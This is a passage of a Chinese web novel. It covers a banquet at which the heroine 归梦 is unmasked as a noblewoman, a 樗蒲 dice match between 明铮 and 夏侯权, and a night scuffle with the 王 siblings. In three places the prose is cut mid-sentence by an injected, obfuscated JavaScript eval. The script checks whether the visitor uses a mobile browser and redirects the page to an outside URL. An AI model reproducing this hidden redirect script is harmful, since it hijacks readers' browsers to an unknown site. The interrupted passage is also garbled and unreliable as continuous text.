明铮礼数周到地拱手见礼:“明铮见过女公子。”那语态并无一丝异常,仿佛真的是第一次见到她。 归梦虽然知道他与她都不可能当场点破,可是当他真的装作不认识自己的时候,她心里仍旧不是滋味。 她隐瞒身份男扮女装与他交往,可以说始终都在欺骗他。 天知道,她早就想和他坦承一切的,哪知竟拖延到今日,在这样的场合下乍然揭破,她心里的歉意与愧悔无以复加。 萧益见归梦不言语,轻轻推了推她,归梦垂着眼,不敢去看明铮的表情。她脸颊泛红,声音也干涩了:“明……公子有礼了。” 祖遐闻言倒是颇为意外,脱口道:“原来你就是东安侯家的女公子?” 萧益笑道:“如何?莫非你听过孤这位表妹的名头?” 祖遐唇边浮起一丝弧度:“是,久仰了。” 归梦只觉头皮发麻。 祖遐这话是什么意思,莫非是祖太君和他提起有意与她结亲的事了吗? 这场宴会才刚开始,归梦就已是如坐针毡了,与太子一道坐在正中的主位太过僭越了。她悄悄提出想换个位置。 萧益却不允,坚持留她在身边方便照顾。 他有些疑惑:“你今儿个是怎么了?平日天不怕地不怕,怎么这会儿扭捏起来了?”归梦无言以对,只能喝酒掩饰尴尬,不想喝得太急,呛了一口,顿时咳嗽起来。 紫芽连忙给她拍拍背,归梦偷瞄了一眼明铮,还好他正和祖遐交谈,没有看过来。满屋子的人里,她最不想被他看到自己的窘样。 丝竹声起,姬人翩翩起舞,佳肴珍馐流水般送了上来。 归梦暂时喘了口气,心不在焉地吃着紫芽给她布到盘中的菜,眼睛却不由自主地有意无意地去观察明铮在做什么。 紫芽搛了片甜脆脯腊放到盘中,小声提醒道:“梦娘别盯着明公子了,那王公子正看着你呢!” 归梦一惊,下意识去看王子野,果然他正笑吟吟地看着自己。俩人的目光一撞,他竟也不闪不避,反而举起酒杯遥遥相敬。 归梦别过头去,浑不理睬。 却见一场歌舞方休,王子野凑到谢炅耳边笑着说了几句话。随后那些乐手歌伎便都退了下去。 王子野端起酒杯起身,朝明铮走去。 这家伙又想做什么? 王子野笑着向明铮敬酒:“在下早有耳闻,这几个月建康城内出了一位翩翩绝世公子。容貌比之潘岳、卫玠犹有过之,才情更胜嵇、阮。俗话说百闻不如一见,今日见了明兄,方知世上真有谪仙人也。” 明铮谦逊一笑,接过酒杯一饮而尽。 王子野又道:“明兄如今官居太子洗马。在下不才,平日只任个小小闲职,是以无缘相交,实乃大憾。今日恰逢谢兄作东,又有太子殿下主持聚会。值此良宵,不如大家消遣共娱一番,也好亲近亲近。明兄以为如何?” 明铮微笑道:“小弟恭敬不如从命。” 萧益饶有兴致地看着他们,所有人都等着王子野说下去。 归梦却隐隐感到王子野此番定是不怀好意,是别有用心地冲着明铮来的。她也说不出缘由,就是一种直觉。 徐三郎催促道:“王兄就别卖关子了。我看诸位晚膳也已用得差不多了。不如撤了这桌案,来个围炉夜话如何?” 一众女娘也表示赞同。于是杯盘桌案撤下,只留了酒水。另又叫人上了各色点心摆了一桌。 王子野吩咐下人搬来一张紫檀木长方桌,又摆上秤盘等物。 夏侯权恍然道:“我当是什么,原来是要戏樗蒲!” 王子野点头笑道:“不错,夏侯兄果然是个中老手。谢兄这里新制了一副戏具,咱们今日正好占个头筹。” 夏侯权向来沉迷樗蒲,此时已经有些按捺不住跃跃欲试了。他问道:“王兄,今日这里这么多人,就这一副戏具,这如何玩得?” 王子野笑道:“无妨,今日咱们改一改玩法,变成两队人较量,如何?” 徐三郎插口道:“意思是将在场诸人分作两队吗?” 王子野颔首:“两队也可,三队四队也可。每队中的人均可代表队伍下场掷五木。只不过,输家队伍须集体罚酒。”说着笑嘻嘻地吩咐下人去备酒。 此言一出,大部分人均觉新颖有趣,已开始商量着与谁一队了。 唯有祖遐与明铮浑若无事地坐在一旁。 王子野走近,笑着开口:“明兄、祖兄。” 祖遐只微微抬了抬眼,淡淡道:“对不住,重伤方愈,饮不得酒。”言语间已是生硬拒绝了。 王子野又看向明铮:“那么明兄……” 明铮一脸歉然:“小弟于此道属实是一窍不通。恐扰了诸位雅兴。” 夏侯权踱步过来,冷嘲道:“恐怕你是怕输了丢脸,不敢玩吧?” 王子野凤眼眼角微扬,语气热切诚恳得不容明铮拒绝。“区区博戏,以明兄的才智必然一点就透。一道来吧,人多才热闹。”他说着又伸手招来王如芝:“况且,舍妹对你也是仰慕已久,极想瞻仰明兄风采……” 王如芝今日一身秋香绿的袄裙,如银盘般圆润的脸蛋略带娇羞地看着明铮,一双眼睛似乎眨都不眨了,欲要上前挽住明铮的胳膊,又为明铮的气度所慑,不敢放肆,嗫嚅着启齿:“明公子……我与你一队好吗?” 差点把这个花癫症给忘了!归梦与王如芝也算是因明铮而结怨的,此时眼看着王如芝腻在明铮身边,她的一颗心真是百般煎熬。 王子野不知何时走了过来,笑眯眯道:“岑公子,可愿与在下一队吗?” 归梦满肚子气正没处发,王子野偏要死乞白赖此时出现在她眼前。她方要开口奚落他一番,却看到张绮彤从王子野后方走来,眼神中带着狐疑与猜忌。 归梦忽而朝王子野粲然一笑:“我怎及某些人多才多艺,又会绣手绢又通诗书,没的拖累了王公子!”说完立刻转身走开,留下王子野应付张绮彤。 片刻之后,萧益统计了一番,目前有三组队伍。夏侯权与徐三郎和其他几名士族子弟一队,明铮与王如芝一队,王子野与张绮彤以及陆家两位女娘一队。卫家女娘对樗蒲嗤之以鼻,自拉着谢炅在旁研读诗词。祖遐虽不参与,但也坐在明铮身旁相陪。 萧益作为兄长对弟弟妹妹向来呵护有加,此次带着归梦一道出门,他也是时刻记挂着答应了姨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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归梦因着讨厌王子野,故而不想领情。她正要开口拒绝却听见明铮淡淡道:“理当如此。” 夏侯权眉头皱起,但见明铮已然答应,若是有异议岂不显得自己气量狭小,于是也便点点头。他性子急,此时早已不耐烦了:“那么就开始吧!谁先与我来一局?” 王子野与明铮对视一眼,笑道:“明兄先请。” 他狡诈得很,这样一来,便可以先摸清夏侯权与明铮的虚实了。 夏侯权与明铮面对面坐定。 宫廷中樗蒲的规则并不复杂,只是比市井赌坊中单纯地投掷五木更多了一项比斗。 乃是双方各执六枚棋子,也就是“六马”,用五木为骰子,轮流投掷。掷得多少点数就可让马行进几步,哪一方的马先全数到达对方阵营,哪一方就获胜。 夏侯权也不询问明铮,便抢先将装着五木的杯子拿在手里,笑道:“明公子,在下占先了。”说完便开始摇晃手中的木杯。他身旁的徐三郎等人也凑近了,专注地等着看他掷的结果。 五木在杯中哗啦作响,随着夏侯权手一停顿,五木倾洒而出,掉在了桌面上。 三黑二雉,正是贵采中第二等的“雉”采,足有14点。 “好!”大多数围观者都忍不住发出一声喝彩。 “鸿运当头,夏侯兄掷得好!”徐三郎赞叹不已。王子野在旁看着,羽扇轻摇笑而不语。 王如芝在明铮身边,看着夏侯权一出手就得了贵采也颇有些惊讶,嘴上却不以为然地嘟哝道:“有什么了不起的……” 夏侯权喜上眉梢,洋洋自得,将秤盘上的马向前推进几步,笑着对明铮道:“明公子,该你了。” 34. 夜未央 明铮亦赞道:“夏侯兄果然出手不凡。” 夏侯权面有得色,听明铮奉承自己,倨傲之色更盛。 明铮收拾起桌上的五木放入杯中,轻轻摇了几下,随着五木掉落桌面,归梦的心也提了起来。 两白两雉一黑,只是个末等的杂采,只有三点。 对面的夏侯权等人立时发出嗤笑。如此看来明铮确是新手,出手生疏不足为惧。 看这情形,王如芝也是既失望又焦急。毕竟输了没面子,还要罚酒。输给那夏侯权免不了要连带着被羞辱一番。 围观的众人看二人出手如此悬殊,也感无趣,认定结果已是毫无悬念了。明铮输定了。 只有归梦在心底冷笑一声。她怎会看不出明铮是扮猪吃老虎? 接下来的两次掷骰。夏侯权又得了贵采中的犊采,有十点。而明铮掷得了杂采中的塞采,虽不能打马过堑,但有十一点之多。 夏侯权仗着是老手,以为稳占上风,渐渐托大,只顾将自己的马横冲直撞,想尽快到达明铮的阵营以赢得胜利,以至于对明铮的马掉以轻心。 他不曾注意,明铮每一步棋都在运筹帷幄,不论掷出的点数大小,都不骄不躁,虽对樗蒲走棋不熟悉,但是人极聪明,很快就找到了窍门。 樗蒲要取胜的关键不仅在于投掷五木的点数,更在于走马的路数。明铮的路数中隐隐关联着奇门五行之术。 夏侯权眼看着己方进攻的马全部被围追堵截,陷在明铮的三矢阵中不得突围,渐渐开始心浮气躁。他连掷五木都连连失利,看得队友们连连叹气。 在围观众人眼里,夏侯权每每掷五木时都要呼卢喝雉,像极了输红眼的赌徒。而明铮却是举重若轻,潇洒自如。在神态风姿上,夏侯权更是落了下乘。 眼见众人也慢慢倒戈去支持明铮,大多走到明铮身后去看,夏侯权又是恼怒又是焦躁。他发现明铮不过几个回合下来,进展飞速,在秤盘上的局面已然和他旗鼓相当,浑不弱于他这个老手,甚至有隐隐超越他的势头。 徐三郎看得着急,便与夏侯权商量换自己上场,只是他对樗蒲也并不擅长,眼看着无法扭转败局了,明铮的马已经通过二关、四坑,全体顺利到达夏侯权的阵营。 “厉害厉害!”“反败为胜,明公子当真了得!”旁观人等忍不住惊叹。 王如芝更是兴奋不已,连连称赞,坐在明铮身旁好生得意。 王子野亦赞道:“明兄好手段,小弟也来领教一番。” 夏侯权输了一局,却并不起身,铁青着脸坐在原处,一动不动。 “王兄,这一局烦请让我代劳如何?” 王子野笑道:“夏侯兄的意思是……” 夏侯权冷哼一声:“输给他,我不服!他方才不过是一时侥幸罢了,再来一局我不信我会再输给他!” 众人都齐刷刷看着明铮。他只淡淡微笑道:“只要王兄同意,小弟没有意见。” 王子野看看明铮,又看看夏侯权,凤眼微扬:“夏侯兄如此执意,我岂有不让之理。请!” “这一次我们换个比法!用最简单的方式,就掷五木比斗点数,如何?”夏侯权恶狠狠地逼视着明铮:“你敢吗?” “悉听尊便。”明铮态度恭谨,不卑不亢。 夏侯权一双眼睛里恨不得喷出火来烧死明铮。 方才比斗之时,他眼看着一众女娘的目光都聚焦在明铮身上,他怎能不嫉恨?当然还有另一层原因——平日里,明铮的姊姊诗安占尽了太子的宠爱,以至于太子时常冷落他家姊夏侯敏。堂堂太子妃却还不如一个寒门侍妾出身的侧妃,他怎能不替姊姊委屈? 况且,自从几月前明铮来了建康,就备受太子的器重。明家祖上不过是乡绅出身捐了个小官,明铮怎就配做太子洗马,凌驾于他之上?他无论如何也咽不下这口气。 眼下新仇旧恨一并发作。夏侯权忍不住妒火中烧,挑衅道:“既然是比斗,那么彩头也该加码。一会儿若是你输了,你不仅要一个人罚酒,还要为我牵马执蹬。如何?” 此言一出,场子顿时鸦雀无声。太子眉头皱起,众人都等着听明铮的回答。 输了就要做马前卒,这简直是奇耻大辱。夏侯权看来是气急败坏了。 没等明铮开口,归梦已然按捺不住,抢着反问:“若是你输了呢?” 夏侯权两眼一瞪,怒道:“我不可能输!” 归梦冷笑道:“那既然你赢定了,明公子又何必和你赌斗呢?” “就是!明公子别理他。他就是输不起。”王如芝也在旁帮腔。 明铮微笑道:“无妨,夏侯兄既有兴致,小弟奉陪。” “好,三局定胜负。我先来!”话音未落,夏侯权已然执起木杯,用力摇晃起杯中的五木。 五木落在桌子上,是双犊三白,又是个十点的贵采。 夏侯权心中窃喜。他左思右想,都觉得方才输给明铮是吃了行军布阵的亏。若是没有棋子,单就掷五木比点数,他绝不会输给明铮的。 “该你了!” 只见明铮微一思忖,起手轻轻摇晃木杯,他那瘦长、骨节分明,白如寒玉的手轻扬挥动,掷出了三白两雉,乃是贵采中的八点。 夏侯权一意争强,拼命摇晃着木杯,口中念念有词,又掷出了双犊三白的十点贵采。 明铮则也掷出了同样的点数。 如今两人仅有二点之差。第三局是关键了。归梦看着认真比斗的明铮,那么镇定自若,那么自信淡然,还有嘴角边上那一丝淡淡笑意。他的笑,就是他最吸引她的地方。 但是吸引她,也同样吸引别人。归梦看到明铮近旁那抹秋香绿的身影,恨不得冲过去,把王如芝拖得远远的,埋起来,再不让她有机会靠近明铮。 夏侯权第三局掷出了三黑两雉的贵采,高达十四点。点数一下子拉开了差距。他很是满意,料想这回赢定了。 玩过樗蒲的都知道,卢为最上等的贵采,雉为次一等。所以每每玩家在掷五木之时都忍不住呼卢喝雉。但是要掷出卢、雉,除了技巧,还需要一点运气。 夏侯权双眼眯起,笑着将木杯让给明铮。按现在的点数来看,明铮若掷不出卢,那便是输定了。 他几乎已是胜券在握。 众人都忍不住替明铮捏了把汗。 明铮却是不慌不忙,手起五木落,落在桌上,赫然是五个全黑的最上等的贵采——十六点的卢采。 众人皆是惊呼,夏侯权勃然变色:“这、这怎么可能!” 王如芝嘻嘻笑着,掰手指算道:“点数上明公子正好与你打平了!哼,便宜你了。” 明眼人都看得出这样的结果恐怕是明铮刻意为之的,既避免了冲突的结果,也保全了双方的颜面。明铮竟能操控投掷五木的点数,技艺属实高出夏侯权太多了,当真是聪明了得。 夏侯权胸口起伏不定,怒力压下心中不快。他沉默片刻,忽笑道:“想不到明公子嘴上谦虚,掷起五木来却不含糊。这手法莫不是跟莳花楼的女娘们学的吧?” 他理了理衣袖,悠悠道:“听闻明公子近来常出入莳花楼呢!” 归梦猛地听见“莳花楼”三个字,心跳急促起来。 这夏侯权输急了眼竟然狗急跳墙,反过来给人泼脏水。 明铮淡淡笑道:“小弟寡闻得很,不知夏侯兄说的是什么地方。” 王如芝好奇插话:“那是什么地方?” 夏侯权冷笑一声:“莳花楼就是建康城中近来最热门的秦楼楚馆。明公子装什么糊涂?” “是吗?小弟自然不如夏侯兄见多识广。” 明铮丝毫不动怒,始终保持着良好的涵养,并且三言两语就把夏侯权给诓了进去,愈发显得夏侯权像个愚蠢的跳梁小丑。 王如芝等一众女娘都忍不住流露鄙夷之色,眼中满是讥笑之意。一众男子也均觉有些尴尬。 “你……”夏侯权猛地反应过来,一张脸涨成猪肝色,狠狠地瞪了明铮一眼,恨恨地起身离座。 归梦也是心下大快。她笑着出声叫住正朝外走去的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萧益叫住他,笑道:“远书,一道来尝尝这葡萄酒,平日鲜少能喝到。孤已吩咐了谢炅,今晚你与祖遐都随孤同住,到时咱们联床夜话。” 明铮推托不得,只好坐下饮了几杯。 归梦见明铮除了一开始在太子面前与自己打了声招呼,就再无一句对答,甚至目不斜视,连看都不看她一眼,心中大感失落。 眼看着众人愉快热闹地品尝葡萄酒,她却觉得索然无味,打算默默退场。 才走两步,就听见背后一个声音喊她:“岑公子……” 又是这家伙! 归梦转身怒目而视:“你又鬼叫什么?” 王子野端了杯葡萄酒在手,笑嘻嘻地看着她:“若我没记错,方才你可是也向明公子认输了。输家是要罚酒的,你不会是想耍赖吧?” 他竟拿她方才堵夏侯权的话来堵她。 “谁要耍赖了?喝就喝!”归梦夺过他手中的琉璃杯,一饮而尽。她饮得太快,一滴艳红的葡萄酒液不小心顺着嘴角流出,在她雪白的面庞上显得格外醒目娇艳,沾染了酒液的嘴唇也愈发嫣红如花瓣,惹得王子野凤眼中的笑意灼热了起来。 她随手抹了抹唇角,啐道:“你笑什么笑!还有,我告诉你,以后你老老实实称呼我‘岑姑娘’,不许乱叫我‘岑公子’!” 今日王子野当着萧益、谢炅等众人的面称呼她“岑公子”,已经引得萧益见疑,还悄悄问她是不是早就认识王子野。 看萧益的样子,像是怀疑她与王子野之间有什么似的,吓得她急忙否认。 归梦说完,将酒杯塞给王子野就走,哪知刚转身就撞上一个高大的黑影。她脚步急促收势不及,登时与这人撞了个满怀,被撞得脚下一个趔趄。 她眼前一花,眼看站不稳就要摔倒,还好那黑影眼疾手快扶住了她。 好疼!两人相撞之时,她的头不小心磕在了对方的胸口,无比坚硬。这人的身躯难道是铁做的吗? 归梦揉着被撞疼的额角,抬起头,蓦地对上了一双深邃的眼眸。 35. 暗恨生 祖遐的眼神幽黑,复杂难明。他声音低沉:“你无事吧?” 两人的距离极近,归梦闻到他身上混着淡淡药气的男子气息。一瞬间,思绪飞了好远。 面前的这个人,正是父母想把她许配的对象。 她下意识地飞快抽回手臂,后退一步,矜持低声道:“无事,多谢。” 出了正堂,一道厚厚的织花锦帘隔绝了堂内的热闹与暖意。寒风裹着雪花纷纷扬扬,地上积雪已有好几寸。这庄园简直是银装素裹的人间仙境,美得不像话。 谢炅给归梦的住处安排在半闲斋的西厢。 这一日,半日奔波,半日吊着精神饮宴,本该累极了,可是梳洗罢,归梦却躺在床上睡不着。她唤来园中的侍女问道:“太子殿下他们住在哪里?” “主人特地交代过,太子殿下的住所要与女公子在一处。太子就在东厢房。” 归梦点点头,心下稍安。只是不知,这会子他们的聚会散了没有? 她推枕起身,披件衣袍走到窗前。 雪已停了,天边一弯冷月如钩。月光似水银般洒在屋外的草木上。 紫芽打了个哈欠,劝道:“窗口风大,梦娘还是早些安置。” 归梦虽然是在看窗外景致,心中却揣着心事,就像揣着一团火似的,如何入眠呢? “没想到虽是残月,也有这样好的月光。”归梦叹道。她甚少有机会离开父母,这两日都是在外过夜,虽然不如在家时千般好,可是每一天都是那么新奇愉快。 紫芽不以为然:“我看是雪地映射出来的光。在高平的时候每逢冬天总会下雪,也没见梦娘你这么稀罕。” “就是因为南方甚少下雪所以才稀奇嘛,何况这才十月里,纵然是雪天也不会太冷。” “那可不见得,南方的冬天又湿又冷。就连这雪也是水淋淋的,只怕一不小心就会滑倒。” 归梦扑哧笑了:“你用不着吓唬我,我若要出去那定是要出去的,我不怕摔着。” 她粉黛不施,满头青丝只用一枚金镶玉蜻蜓簪松松绾了,随手抓起白羽缎织锦斗篷,把风帽拉起戴上裹紧,就要出门。 紫芽知道无力阻止,叹道:“梦娘好歹提着盏灯,仔细摔了。”说着便提起一盏小小的羊角风灯朝归梦手里塞。 归梦忽地想起什么,惊觉道:“差点把它忘了!”她旋身一阵风似的冲回床铺,从枕头下拿出一个小小物件,顺手接过紫芽递来的宫灯,又风风火火地出了门。 “紫芽,你若累了便早些安置。不必等我,我去去就回。”归梦头也不回地交代。 夜色中无边的凉意肆意蔓延着。离开了燃着炉火暖烘烘的内室,归梦禁不住浑身一凛。 她询问了值夜的下人,确定了太子等人还未曾回到东厢,遂决意去宴会的正堂到半闲斋的必经之路上等。 来的时候,她记得曾经过一个小小的可供休憩的凉亭。 夜深天寒,归梦一个人提着不甚明亮的风灯在园中行走,除了寒风的穿林打叶声以及她自己的脚步声,几乎听不到别的声音。心中虽有些惴惴,但是想到明铮,又觉得有一丝甜蜜与期盼,就算此时受冻受寒也不算什么了。 才走到小亭附近,便听见有脚步声传来。她不愿给不相干的人看见,忙吹灭了宫灯,闪身躲在一棵松树后。 当先一人是引路提灯的男仆从,后面又跟着一人。纵然是灯光昏暗,但是借着明亮的月色与满天星子,她还是可以看得清,那身白衣翩然,无双风姿,除了明铮还有谁? 归梦唇角止不住地扬起,伸手理了理云鬓与衣衫,从树后跳出,拦住二人去路。 她这般出场,把那仆从唬了一跳,险些开口叫喊起来。 “你先下去吧。”归梦提灯的仆从摆摆手。 那仆从认出归梦身份,极是乖觉,应了一声也不多问,便拎着灯笼躬身退走了。 那点萤烛之光远去,唯有雪夜的明月、星斗在照耀着归梦与明铮。 明铮只是静静站着,面容平静,似乎在等她说话,也似乎并不惊讶她的出现。 她本来有千言万语想要说,却不知从何说起,话到嘴边一句也说不出来了。 “你……”归梦方要启齿,明铮却先躬身行了一礼:“女公子安好。” 归梦怔住了,满心满腔的热情如同被当头泼了一盆冷水一般熄灭了大半。 看来他还是怪她! 她咬了咬嘴唇,低声道:“你别这么唤我……还和从前一样唤我‘小梦’就是了。对不住,是我隐瞒身份与你为友。但我这么做,是不想你顾忌门户之见,不肯与我交心……”她语无伦次地解释着,越说越觉得理由有些牵强。 事实就是,她女扮男装,蓄意接近他。 明铮仍微微躬身保持着谦卑的姿势:“恕明铮不懂女公子的话。夜深人静,男女不便相会。明铮先行一步。”说完绕过归梦就朝半闲斋的方向而去。 “等等!”归梦情急拉住明铮的衣袖:“我已经道歉了,难道你还生气吗?” 明铮停下脚步,任由她拉着,却并不看她。他的目光明净如星光月影,不知落在何处,声音是刻意的疏离平淡:“女公子请自重。” 归梦被他的冷漠冻伤,顿时五指冰凉。忽听到近侧传来嬉笑声与脚步声,她不由自主地放开了手。 明铮大踏步而去,背影迅速隐没在拐角的黑暗中。他的身影才刚逝去,便有几个人朝归梦走近了。 是王如芝、张绮彤伴着两个丫鬟与提灯的仆妇。 张绮彤打量着站在原地的归梦,“啧啧”两声,转头笑着对王如芝道:“瞧,这夜深露重的,竟有只呆雁儿杵在这呢,好生可笑!” 王如芝也讥诮道:“天太黑,你可看花眼了吧?这明明是岑公子。哟,怎地这般失魂落魄?定是因为今日没作那男人装扮……” 她二人一唱一和,极尽嘲笑之能事。 归梦不知她们听见了多少,当下只觉心情差劲到极点。她拨开人群欲走,却又被王如芝拦住:“想走,没那么容易!我今个总算知道了,当初你害我丢脸出丑是为着什么……啧,真想不到,你这丫头平日装得冷若冰霜,见了他却也……” 王如芝不提明铮还好,归梦方在明铮面前受了冷落,心绪不佳,又遭此嘲讽纠缠,岂能不恼羞成怒。 “说完了吗?你想怎样?”归梦下巴抬起,冷冷的目光扫过王如芝与张绮彤以及她们身边所携丫鬟仆从,她虽被围着,仍自有一股傲人的气势。 张绮彤被归梦目光所慑,拉了拉王如芝,示意她别太过火。 王如芝犹嫌不足,她逼近一步,挑衅道:“你张狂什么?太子和谢炅此时已醉了,可不会来救你。我告诉你,只要有我在,你就休想得到明公子!”她低头瞥见归梦手掌心里鼓鼓囊囊的,似乎握着什么东西。眼珠一转,猜想或许是明铮给的,便拉起归梦的手,叫道:“你手里握着什么呢?给我瞧瞧!” 归梦攥在手里的不是别的,正是她亲手绣了打算送给明铮的香囊。 王如芝这般突然伸手过来,令归梦又惊又急:“你作死吗?” 王如芝也不知是不是多吃了几口酒,竟直拽着她不放,非要掰开她的手掌不可。 归梦甩脱不开,忍无可忍,情急之下顾不得许多,张嘴就朝王如芝的手背咬了下去。 王如芝吃痛,立时爆发出一阵杀猪般的尖叫声,寒夜中听来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599193|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格外刺耳。 在旁的张绮彤与丫鬟仆妇眼见闹大了,吓得慌忙上前分开二人。一众人在小亭前乱作一团。 二人总算被拉开。王如芝疼得眼泪都出来了,她低头看看自己手背,赫然是深深的齿痕,气得发怔,一迭声喊着:“岑归梦你是属犬的吗?!敢咬我,来人,给我按住她!” 两个近身丫鬟迟疑着听命上前。 归梦方才与王如芝拉扯一番,已是鬓发散乱,钗松环褪,她喘着气,恶狠狠地朝着试图靠近自己的两个丫鬟吼道:“不许近我!谁敢过来,别怪我不客气!” 王如芝见丫鬟不敢去碰归梦,立时撒泼作闹,尖叫着欲纵身扑上前厮打归梦,却被旁人拉住。 “都住手了!”只听一男子朗声喝止。却是王子野循声来了。他见场面混乱,众女皆是蓬头散发,不禁愕然而笑:“你们这是唱哪一出啊?” 王如芝见了兄长,哭得更加厉害,抽抽噎噎添油加醋地向王子野告状。 归梦站在原地,只冷眼看着不发一语。 王子野抚着王如芝的背软言安慰,又低头向她耳语几句,接着又含笑劝张绮彤陪王如芝回房休息。不过片刻间,一行人已经走得精光,只余王子野站在原地微笑着看着归梦。 归梦冷冷道:“你若要替你妹妹报仇,我奉陪到底,不过今日姑娘倦了。”说完转身就走。 “慢。这是你的吗?”王子野正弯腰从地上捡起一样物事。 归梦回头凝神一看,他手中捏着一枚金镶玉蜻蜓簪,定是方才拉扯时滑落的。她走上前,伸手欲取,不想王子野将手一抬,故意不给。 归梦眼眸一沉。今夜他们兄妹俩连着来和她为难,她真是受够了。 王子野捏着簪尾,用手指搓弄着,那金簪上的蜻蜓栩栩如生地颤动着,像是振翅欲飞似的。 “说起来,我可算知道你喜欢的人是谁了。”王子野轻笑道。 归梦哼了一声:“王如芝告诉你的是吧?” “是我自己猜到的。” “你猜错了。” 王子野长眉一挑:“哦?这么说明铮并非你的意中人了。那我可要……”他故意不说下去了。 归梦紧张追问:“你要对他做什么?” “你还敢说你喜欢的不是他?傻姑娘,你的心思全写在脸上呢!”王子野得逞笑道。 他不过寥寥两句话略施小计便试探出了她的心意。 归梦无法,索性默认。她粗声道:“哼,就算是又怎么样!你管不着,发簪还我!”她伸手就去夺发簪,王子野长臂轻抬,旋身躲过。 归梦见一下抢不到,也就停下了。 王子野站定,看了看手上的发簪,又瞧了瞧归梦。她披头散发,脂粉不施,却自有一番天然风韵。经过方才的风波,素白的芙蓉秀靥双颊微微晕红,正如荷粉露垂,杏花雁润。一双灵眸正满是警惕地瞪着他。 方才看到她张牙舞爪与妹妹打成一团的样子,他还颇有些吃惊。他本以为她是只不受驯的小猫,却不曾想,她竟是只小豹子,还真有些野性,这样的个性,愈发让他心折了。 “我怎么管不着,你可知我对你……”王子野边说边走近一步。他才刚走近一步,归梦就防备地往后退了一步。 王子野无奈道:“瞧你,对着我总跟乌眼鸡似的。我就这么招你讨厌吗?” 他这话说得诚恳中又有些哀伤似的。归梦生性善良,听得一时有些晃神,但转念又想此男掩袖工谗,最是擅长做戏,决不可信。 王子野趁着归梦分心,竟大胆伸手,要摸一摸她光滑如瀑的青丝。 归梦回过神来,眼见王子野的手已伸到她鬓边,惊得花容失色。 36. 动离忧 “啪”的一声,归梦给了王子野劈脸一耳光。 这是她生平第一次打人耳光,用尽了全身力气,直打得她素手生疼。 王子野被打得愣在当场,一时之间讶异、薄怒、爱恨交加、狂热种种复杂的情绪从他眼中闪过。 他抚了抚自己被打的半张脸,眯起双眼看着归梦好一会儿,才似笑非笑道:“从小到大还没有女人敢动本公子一下。” 归梦原本打了人心里也略有些过意不去,但是想到他竟敢妄想轻薄自己,那一点子不忍也就立刻烟消云散了。 “巧了,从小到大,还没有男人敢动本姑娘一下!”归梦反唇相讥,趁他不备劈手夺过发簪,转身就走。 王子野再次拦住她。他怒而反笑:“俗话说‘打是亲,骂是爱’。咱俩也算肌肤相接了。今日我倒要看看你这小野猫的爪子有多锋利!”说着就伸手来拉扯她。 归梦被他抓住手腕,她力气不如,挣脱不得。眼看王子野双目灼灼,嘴角含笑,呼着热气的一张脸一点点凑近过来。 她无计可施,正要大声叫喊,忽听王子野“啊”地一声松开了手,紧接着他左膝又是一软,竟然不由自主地跪了下去。 “咚咚”两声,有清脆的石子落在青石板路上的声音。归梦下意识地扭头看去,只见月光下,小凉亭后的那片森森凤尾竹后的围墙上,依稀投射了一个模糊高大的人影。 那人影一闪而过,很快消失无踪,唯余簌簌风过竹林之声。 归梦脱了身立刻小跑着朝厢房奔去,那只羊角风灯早不知道丢哪去了。她摸黑而行,差点滑了一跤。 紫芽并未睡下,见归梦云鬓散乱惊慌失措地奔回,自是追问不迭。 方才莫非是明铮?这一路归梦都在思考这个问题,脑子里却是混混沌沌。她唯一能确定的是,以后势必要更加避开王家兄妹了。她绝不是怕事的个性,只是不耐与小人缠斗。 翌日,归梦便称病不出,饭食都让下人单独送进房里来。她只打发了紫芽去请示萧益何时上路返程。 紫芽去了半晌方回,回禀说:“太子殿下本欲今日就启程,但是表少爷在旁劝说‘积雪未消,山路湿滑难行,不如再住一日’。所以恐怕要待到明日看看天色再决定。” 紫芽顿了顿,又道:“殿下听说梦娘身子不适,欲叫随行的御医来给你诊治。表少爷也要唤了府中的大夫一齐来。我说没什么大碍,给拦住了。” 归梦点点头。萧益和谢炅这两位表兄对她倒是真的关心。 “那……还有没有旁人在场,有问起什么吗?”她又问道。 紫芽看着归梦期待的眼神,犹豫道:“明公子也在,但他并未说什么……” 看着归梦的眼神一黯,她忽地又想起什么:“哦,对了。我一说你身子不适,那王公子便插口问我‘你家女公子生了什么病?’我只好说是受了凉……” 归梦一听到王子野的名号就烦躁不已,忍不住打断:“别跟我提他!以后见了这个人不要理睬!” “哦,那我不说了……”紫芽不知昨夜发生的事,有些纳闷归梦怎地这般激动。 归梦缓和了语气:“还有什么?既说了就说完吧。” 紫芽小心翼翼道:“那位王……他,他行动有些不便呢。听说是昨个夜里跌了一跤。”她边说边觑着归梦的脸色。 归梦闻言心中舒畅,看来昨夜那两枚小石子让这混蛋受伤不轻呢。随即想到那两枚石子是明铮所发,心头顿时又升起一股甜意。 他虽然对她冷冰冰的,但危机时刻,终究还是护着她的。 想到这,她心头阴霾一扫而光,随手拈起一枚姜香梅子送入口中。 大抵喜欢一个人的感觉,就如这梅子一般,酸涩中夹杂着几分甘甜,才会这般叫人着迷。 原本以为在外能有和明铮多一些的相处机会,可无奈王家兄妹也在庄园里住着,阴魂不散,随时都有可能出现。归梦便觉着索然无味了,一心盼着回到建康再找机会对明铮一诉衷肠。 